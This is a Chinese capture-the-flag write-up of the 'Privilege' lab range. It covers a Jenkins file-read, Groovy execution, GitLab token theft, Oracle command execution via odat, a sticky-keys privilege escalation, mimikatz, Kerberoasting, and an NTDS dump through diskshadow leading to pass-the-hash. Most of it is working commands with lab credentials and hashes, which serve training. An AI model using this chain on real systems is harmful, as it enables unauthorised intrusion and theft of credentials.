春秋云境-Privilege综合渗透

春秋云境-Privilege综合渗透通关wp

image-20250114161021987
靶标介绍:在这个靶场中,您将扮演一名资深黑客,被雇佣来评估虚构公司 XR Shop 的网络安全。您需要通过渗透测试逐个击破公司暴露在公网的应用,并通过后渗透技巧深入 XR Shop 的内部网络,寻找潜在的弱点和漏洞,并通过滥用 Windows 特权获取管理员权限,最终并获取隐藏在其内部的核心机密。该靶场共有 4 个 Flag,分布于不同的靶机。

  • Wordpress
  • Gitlab
  • Kerberos
  • 内网渗透
  • Privilege Elevation

关卡剧情:
请获取 XR Shop 官网源码的备份文件,并尝试获得系统上任意文件读取的能力。并且,管理员在配置 Jenkins 时,仍然选择了使用初始管理员密码,请尝试读取该密码并获取 Jenkins 服务器权限。Jenkins 配置目录为 C:\ProgramData\Jenkins.jenkins。

fscan扫描

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[root@iZ2ze file]# ./fscan -h 39.99.137.59
   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4               
start infoscan
39.99.137.59:445 open
39.99.137.59:135 open
39.99.137.59:80 open
39.99.137.59:139 open
39.99.137.59:3306 open
39.99.137.59:8080 open
[*] alive ports len is: 6
start vulscan
[*] NetInfo 
[*]39.99.137.59
   [->]XR-JENKINS
   [->]172.22.14.7
[*] WebTitle http://39.99.137.59:8080  code:403 len:548    title:None
[*] WebTitle http://39.99.137.59       code:200 len:54646  title:XR SHOP
[+] PocScan http://39.99.137.59/www.zip poc-yaml-backup-file
已完成 6/6
[*] 扫描结束,耗时: 44.104825753s

发现源码备份http://39.99.137.59/www.zip,访问拿到源码

在wp-config.php文件中发现数据库账号密码,尝试连接不成功,应该是不允许其他主机连接

tools/content-log.php​下发现了存在任意文件读取漏洞

根据题目描述我们获取到了Jekins根目录为C:\ProgramData\Jenkins\.jenkins​,然后我们这里搜索过后可以发现初始密码路径

读取C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword

1
http://39.99.137.59/tools/content-log.php?logfile=../../../../../../../../../ProgramData/Jenkins/.jenkins/secrets/initialAdminPassword

image

访问http://39.99.137.59:8080/,进行登录

1
admin/510235cf43f14e83b88a9f144199655b

发现groovy脚本执行接口

image

进行添加用户

1
2
println "net user ttest Test@123 /add".execute().text
println "net localgroup administrators ttest /add".execute().text

rdp连上去,读取flag01

image

关卡剧情:管理员为 Jenkins 配置了 Gitlab,请尝试获取 Gitlab API Token,并最终获取 Gitlab 中的敏感仓库。获取敏感信息后,尝试连接至 Oracle 数据库,并获取 ORACLE 服务器控制权限。

上传fscan,frp,扫内网,搭代理

image

fscan

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
C:\Users\ttest\Downloads>fscan.exe -h 172.22.14.7/24

   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.14.7     is alive
(icmp) Target 172.22.14.11    is alive
(icmp) Target 172.22.14.16    is alive
(icmp) Target 172.22.14.31    is alive
(icmp) Target 172.22.14.46    is alive
[*] Icmp alive hosts len is: 5
172.22.14.11:445 open
172.22.14.7:445 open
172.22.14.7:135 open
172.22.14.46:139 open
172.22.14.31:139 open
172.22.14.11:139 open
172.22.14.46:135 open
172.22.14.31:135 open
172.22.14.7:139 open
172.22.14.11:135 open
172.22.14.46:80 open
172.22.14.16:80 open
172.22.14.7:80 open
172.22.14.16:22 open
172.22.14.16:8060 open
172.22.14.11:88 open
172.22.14.46:445 open
172.22.14.31:445 open
172.22.14.7:8080 open
172.22.14.31:1521 open
172.22.14.7:3306 open
172.22.14.16:9094 open
[*] alive ports len is: 22
start vulscan
[*] NetInfo
[*]172.22.14.7
   [->]XR-JENKINS
   [->]172.22.14.7
[*] NetInfo
[*]172.22.14.46
   [->]XR-0923
   [->]172.22.14.46
[*] NetInfo
[*]172.22.14.11
   [->]XR-DC
   [->]172.22.14.11
[*] NetInfo
[*]172.22.14.31
   [->]XR-ORACLE
   [->]172.22.14.31
[*] NetBios 172.22.14.46    XIAORANG\XR-0923
[*] NetBios 172.22.14.31    WORKGROUP\XR-ORACLE
[*] NetBios 172.22.14.11    [+] DC:XIAORANG\XR-DC
[*] WebTitle http://172.22.14.7:8080   code:403 len:548    title:None
[*] WebTitle http://172.22.14.16:8060  code:404 len:555    title:404 Not Found
[*] WebTitle http://172.22.14.7        code:200 len:54603  title:XR SHOP
[*] WebTitle http://172.22.14.46       code:200 len:703    title:IIS Windows Server
[*] WebTitle http://172.22.14.16       code:302 len:99     title:None 跳转url: http://172.22.14.16/users/sign_in
[*] WebTitle http://172.22.14.16/users/sign_in code:200 len:34961  title:Sign in · GitLab
[+] PocScan http://172.22.14.7/www.zip poc-yaml-backup-file
已完成 22/22

其中

1
2
3
4
5
172.22.14.7 (XR-JENKINS)(已经拿下)
172.22.14.46 (XR-0923)
172.22.14.11 (XR-DC)
172.22.14.31 (XR-ORACLE)
172.22.14.16 (GitLab)

gitlab在http://172.22.14.16

frp穿透出来

根据关卡剧情获取到API token

image

image

回到脚本控制台获取对应的明文,获得gitlab PRIVATE-TOKENgitlab PRIVATE-TOKEN

image-20250114161658578

(无法将其push到github,只能转为图片push)

1
println(hudson.util.Secret.fromString("{上述字符串}").getPlainText())

image

1
glpat-7kD_qLH2PiQv_ywB9hz2

(极狐API信息泄露)

使用 Access Token 去请求 GitLab API,返回所有的项目列表:

1
proxychains4 curl --header "PRIVATE-TOKEN:glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects" |jq  |grep "http_url_to_repo"

image

git clone下来

1
2
3
4
5
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/internal-secret.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xradmin.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/awenode.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xrwiki.git
proxychains git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/gitlab-instance-23352f48/Monitoring.git

在xradmin/ruoyi-admin/src/main/resources/application-druid.yml找到Oracle的账密

image

1
2
3
                url: jdbc:oracle:thin:@172.22.14.31:1521/orcl
                username: xradmin
                password: fcMyE8t9E4XdsKf

用odat打oracle

1
2
proxychains4 odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user ttest Test@123 /add'
proxychains4 odat dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup administrators ttest /add'

image

随后rdp连过去读flag

image

关卡剧情:攻击办公区内网,获取办公 PC 控制权限,并通过特权滥用提升至 SYSTEM 权限。

在internal-secret/credentials.txt里找到XR-0923的账密

image

1
zhangshuai/wSbEajHzZs

image

rdp连过去之后发现权限较低,无法读取flag

1
net user zhangshuai

image

发现zhangshuai是Remote Management Use组的

可以参考https://forum.butian.net/share/2080

使用evil-winrm​连接此机器

1
proxychains evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs

image

1
whoami /priv

可以发现再查看用户权限,发现多了一个SeRestorePrivilege

SeRestorePrivilege提权,参考:

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E4%B9%9D%E7%A7%8D%E6%9D%83%E9%99%90%E7%9A%84%E5%88%A9%E7%94%A8

可以了解到SeRestorePrivilege​授予对系统上所有对象的写访问权,而不管它们的ACL如何。此时我们就可以通过三种方式达到滥用特权的目的:

1
2
3
1、修改服务二进制文件
2、覆盖系统进程使用的DLL
3、修改注册表设置

尝试粘滞键提权

1
2
ren C://windows/system32/sethc.exe C://windows/system32/sethc.bak
ren C://windows/system32/cmd.exe C://windows/system32/sethc.exe

回到rdp锁定用户,在登录处按5下shift触发粘滞键弹出cmd拿到SYSTEM

image

随后切换到对应目录读取flag

image

关卡剧情:尝试接管备份管理操作员帐户,并通过转储 NTDS 获得域管理员权限,最终控制整个域环境。

创建个管理员用户rdp上去

1
2
net user ttest Test@123 /add
net localgroup administrators ttest /add

传个猕猴桃上去,以管理员权限运行导出哈希

1
2
privilege::debug
sekurlsa::logonpasswords

image

拿到XR-0923$的ntlm哈希

1
b76b9e077e8d1f117310a4e1eb50be45

image

打kerberoasting

1
proxychains4 impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':a5ac13ae0abc9935a13e81c88f638494' -dc-ip 172.22.14.11

image

抓取tianjing的hash,写入hash.txt

1
proxychains4 impacket-GetUserSPNs xiaorang.lab/'XR-0923$' -hashes ':a5ac13ae0abc9935a13e81c88f638494' -dc-ip 172.22.14.11 -request-user tianjing

image

使用hashcat进行密码爆破

1
hashcat -a 0 -m 13100 hash.txt rockyou.txt

得到tianjing密码是DPQSXSXgh2

image

evil-winrm​连一下

1
proxychains4 evil-winrm -i 172.22.14.11 -u tianjing -p DPQSXSXgh2 

whoami /priv查看用户权限,发现又多一个SeBackupPrivilege

image

kali上新建一个raj.dsh,内容如下

1
2
3
4
set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:

再用unix2dos将dsh文件的编码间距转换为Windows兼容的编码和间距

1
unix2dos raj.dsh

C:/​下随便创个目录,上传raj.dsh

image

卷影拷贝

1
diskshadow /s raj.dsh

image

下载ntds.dit和system到kali上

1
2
3
4
RoboCopy /b z:\windows\ntds . ntds.dit
download ntds.dit
reg save HKLM\SYSTEM system
download system

image

image

解密出administrator的hash

1
impacket-secretsdump -ntds ntds.dit -system system local

image

打pth,winrm上去

1
proxychains4 evil-winrm -i 172.22.14.11 -u Administrator -H "70c39b547b7d8adec35ad7c09fb1d277"

image

到对应位置读取flag

image